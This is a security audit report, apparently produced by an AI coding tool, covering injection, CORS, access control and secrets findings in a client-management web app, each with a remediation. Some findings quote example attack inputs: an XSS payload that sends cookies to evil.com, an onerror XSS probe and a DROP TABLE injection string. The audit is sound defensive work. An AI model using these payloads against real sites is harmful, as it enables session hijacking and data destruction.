Security Audit Report¶
Date: 2024-12-27 Scope: Full security audit - OWASP Top 10, auth patterns, input validation, secrets handling Auditor: Claude Code
Executive Summary¶
The codebase has a solid security foundation with proper authentication, parameterized queries, and input validation. However, several issues need attention before production deployment.
Overall Security Rating: 7/10
Critical Issues: 4 (must fix before production) High Issues: 4 (should fix before production) Medium Issues: 5 (fix in V1.1) Low Issues: 3 (address when convenient)
Critical Issues¶
SEC-001: XSS via Template Injection¶
Severity: CRITICAL File: src/services/template_service.py:276-301 OWASP Category: A03:2021 - Injection
Problem: Client data (name, email, address) inserted directly into HTML templates without escaping:
html = template.content_template
for key, value in placeholders.items():
pattern = r"\{\{\s*" + key + r"\s*\}\}"
html = re.sub(pattern, value, html) # No escaping!
Attack Vector:
Client name: <script>document.location='https://evil.com/steal?c='+document.cookie</script>
Impact: Session hijacking, credential theft, malware distribution via engagement letters.
Fix: Use html.escape() or Jinja2 with autoescape=True
SEC-002: dangerouslySetInnerHTML Without Sanitization¶
Severity: CRITICAL File: frontend/packages/ui/src/components/tour/TourOverlay.tsx:187-217 OWASP Category: A03:2021 - Injection
Problem: Three instances of dangerouslySetInnerHTML rendering content without sanitization:
Attack Vector:
If tour content comes from database: **<img src=x onerror="alert('XSS')">**
Impact: Arbitrary JavaScript execution in user's browser.
Fix: Use DOMPurify to sanitize or refactor to use React components instead of HTML strings.
SEC-003: Missing Security Headers¶
Severity: CRITICAL File: src/api/main.py (missing middleware) OWASP Category: A05:2021 - Security Misconfiguration
Problem: No security headers configured: - X-Frame-Options (clickjacking protection) - X-Content-Type-Options (MIME sniffing protection) - Content-Security-Policy (XSS mitigation) - Strict-Transport-Security (HTTPS enforcement)
Impact: Clickjacking attacks, MIME confusion attacks, reduced XSS protection.
Fix: Add security headers middleware to FastAPI app.
SEC-004: Development API Accepts Any Credentials¶
Severity: CRITICAL (dev-only, documented) File: scripts/local_api.py:233-273 OWASP Category: A07:2021 - Identification and Authentication Failures
Problem: Login endpoint accepts any email/password combination:
Impact: Complete authentication bypass if exposed.
Status: Already documented as dev-only in ARCHITECTURE.md per AUDIT-001. Acceptable for local development.
Mitigation: Ensure local_api.py never deployed to production.
High Issues¶
SEC-005: ORDER BY SQL Injection Risk¶
Severity: HIGH File: src/repositories/base_repository.py:131 OWASP Category: A03:2021 - Injection
Problem:
order_by parameter accepts raw SQL strings:
Attack Vector:
If user input reaches this parameter: name; DROP TABLE client; --
Impact: Data deletion, data exfiltration, privilege escalation.
Fix: Whitelist allowed ORDER BY values.
SEC-006: CORS Overly Permissive¶
Severity: HIGH File: src/api/main.py:91-98 OWASP Category: A05:2021 - Security Misconfiguration
Problem:
allow_methods=["*"], # All HTTP methods
allow_headers=["*"], # All headers
allow_credentials=True, # With credentials
Impact: Cross-origin attacks from any website can make credentialed requests.
Fix: Restrict to specific methods and headers.
SEC-007: Missing Role Enforcement on List Endpoints¶
Severity: HIGH File: src/api/routes/clients.py:66-101 OWASP Category: A01:2021 - Broken Access Control
Problem:
list_clients() requires authentication but not role-based filtering. Any authenticated user can list all clients.
Impact: Data exposure - preparers see clients they shouldn't, compromised accounts expose all client data.
Fix: Filter results by user role (staff=all, preparer=assigned only, client=own only).
SEC-008: Stripe Test Keys in Plain Text¶
Severity: HIGH File: .env:44-45 OWASP Category: A02:2021 - Cryptographic Failures
Problem: Real Stripe test keys stored in .env file:
Impact: Keys are exposed locally. While test keys, they should be rotated and better protected.
Fix: Rotate keys, consider AWS Secrets Manager even for development.
Medium Issues¶
SEC-009: No Token Revocation Mechanism¶
Severity: MEDIUM File: src/api/middleware/auth.py OWASP Category: A07:2021 - Identification and Authentication Failures
Problem: JWT-only authentication with no logout or token blacklist. Tokens valid until expiry even after "logout".
Impact: Stolen tokens remain valid, no way to force session termination.
Fix: Implement token blacklist (Redis) or switch to HttpOnly cookies with server-side sessions.
SEC-010: Payment Bypass Flag¶
Severity: MEDIUM File: src/api/routes/efiling.py:31-35, 198-290 OWASP Category: A04:2021 - Insecure Design
Problem:
Staff can bypass payment requirement via bypass_payment_check=true flag.
Mitigating Factors: - Requires staff role - Logged in audit fields
Impact: Financial controls bypassed if staff account compromised.
Fix: Document compliance justification, consider additional approval workflow.
SEC-011: Search Parameter Unbounded¶
Severity: MEDIUM File: src/api/routes/clients.py:70 OWASP Category: A03:2021 - Injection
Problem:
No max_length constraint. Could enable ReDoS or resource exhaustion.Fix: Add max_length=100 parameter.
SEC-012: Filename Not Sanitized in S3 Path¶
Severity: MEDIUM File: scripts/local_api.py:879 OWASP Category: A03:2021 - Injection
Problem:
Filename used directly without sanitization.Impact: Path traversal unlikely in S3, but could cause display issues or unexpected behavior.
Fix: Use os.path.basename() or sanitize filename.
SEC-013: Request Size Limits Not Enforced¶
Severity: MEDIUM File: src/api/main.py, uat-package/nginx.conf OWASP Category: A05:2021 - Security Misconfiguration
Problem: No explicit request size limits configured. Relies on framework defaults.
Impact: Denial of service via large request bodies.
Fix: Add middleware limit and nginx client_max_body_size.
Low Issues¶
SEC-014: In-Memory Rate Limiting¶
Severity: LOW File: src/api/middleware/rate_limiting.py:68 OWASP Category: A05:2021 - Security Misconfiguration
Problem: Rate limiter uses in-memory storage. State lost on restart, doesn't work across multiple instances.
Impact: Rate limiting ineffective in production multi-instance deployment.
Fix: Use Redis-backed rate limiter for production.
SEC-015: Error Messages May Leak Information¶
Severity: LOW File: scripts/local_api.py:1513 OWASP Category: A04:2021 - Insecure Design
Problem:
Exception details exposed to users.Status: Acceptable for local development only.
Fix: Log full error, return generic message in production.
SEC-016: Email Query Parameter Not Validated¶
Severity: LOW File: src/api/routes/registration.py:252 OWASP Category: A03:2021 - Injection
Problem:
Should useEmailStr validator like other endpoints.
Fix: Change to email: EmailStr = Query(...).
Positive Findings¶
| Area | Assessment |
|---|---|
| JWT Authentication | Well implemented with role hierarchy |
| Parameterized Queries | Used correctly throughout repositories |
| Pydantic Validation | All API inputs validated with models |
| Password Handling | No plaintext passwords in code |
| .gitignore | Secrets files properly excluded |
| AWS Credentials | Uses IAM roles, not hardcoded |
| Rate Limiting | Implemented (needs Redis for prod) |
| Error Handler | Hides stack traces from clients |
| RBAC | Permission matrix well defined |
| Audit Logging | Present for sensitive operations |
Recommendations by Priority¶
Before Production (P0)¶
- SEC-001: Add HTML escaping to template service
- SEC-002: Add DOMPurify or remove dangerouslySetInnerHTML
- SEC-003: Add security headers middleware
- SEC-005: Whitelist ORDER BY values
- SEC-006: Restrict CORS configuration
- SEC-007: Add role-based filtering to list endpoints
V1.1 (P1)¶
- SEC-008: Rotate Stripe keys, improve secrets management
- SEC-009: Implement token revocation
- SEC-010: Document payment bypass compliance
- SEC-011: Add max_length to search parameter
- SEC-012: Sanitize filenames
- SEC-013: Add request size limits
Future (P2)¶
- SEC-014: Redis-backed rate limiting
- SEC-015: Generic error messages in production
- SEC-016: EmailStr validation on query param
References¶
- OWASP Top 10 2021: https://owasp.org/Top10/
- OWASP ASVS: https://owasp.org/www-project-application-security-verification-standard/
- Related: docs/SECURITY_DESIGN.md
Audit performed by Claude Code